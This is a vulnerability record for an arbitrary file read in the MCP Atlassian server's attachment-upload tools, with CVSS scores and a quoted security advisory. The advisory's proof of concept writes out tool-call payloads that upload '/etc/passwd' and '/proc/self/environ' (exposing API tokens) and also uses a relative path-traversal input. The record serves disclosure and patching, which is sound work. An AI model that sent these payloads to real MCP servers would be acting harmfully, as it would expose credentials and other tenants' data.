CVE-2026-73496

highpriority · track · 0EPSS 0.005 · 41 %ileRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.48% (41st) EPSS
CVSS 7.7 · high
Is it mine?
2 products
Check your exposure
Who says so?
2 sources
fstec_bdu · osv

EPSS · scored 2026-10-28

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.7
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.7highAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · FSTEC (BDU) RU
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.1 · impact 4
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-wm45-qh3g-v83fmcp-atlassian: Arbitrary server-side file read via attachment upload2026-07-10ghsa · osvUS

    ### Summary A client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem. The upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.) ### Details The upload tools read a client-supplied path directly on the server: - `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")` - `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, "rb")` `os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path. Client-reachable entry points that hit these sinks: - `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as "absolute … or relative to the current working directory." - `confluence_upload_attachments` → loops over the same sink. - `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point. ### PoC **Local reproduction** Extract `traversal_upload_attachment_file_read.zip`: ``` # Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false ./poc.sh # exits 0 on success ``` > Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI. All calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default). Step 1 — read `/etc/passwd` from the server via Confluence upload: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" } ← { "message": "Attachment uploaded successfully", "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } } ``` Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read): ``` req → tools/call confluence_download_attachment { "attachment_id": "att<...>" } ← base64 resource decoding to: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` Step 3 — same primitive via the Jira entry point (second sink): ``` req → tools/call jira_update_issue { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" } ← { "attachment_results": { ... "success": true ... } } ``` Step 4 — credential disclosure via `/proc/self/environ`: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" } ← success; the resulting "environ" attachment contains the server's env, including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN. ``` (`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.) Step 5 — relative traversal accepted (no containment): ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" } ← success — relative paths are resolved and read on the server just like absolute ones. ``` The uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host. ### Impact Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants. The security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing. ### Credit Discovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)

06

also known as (1)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-09-14modified 2026-09-30
08

references (4) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan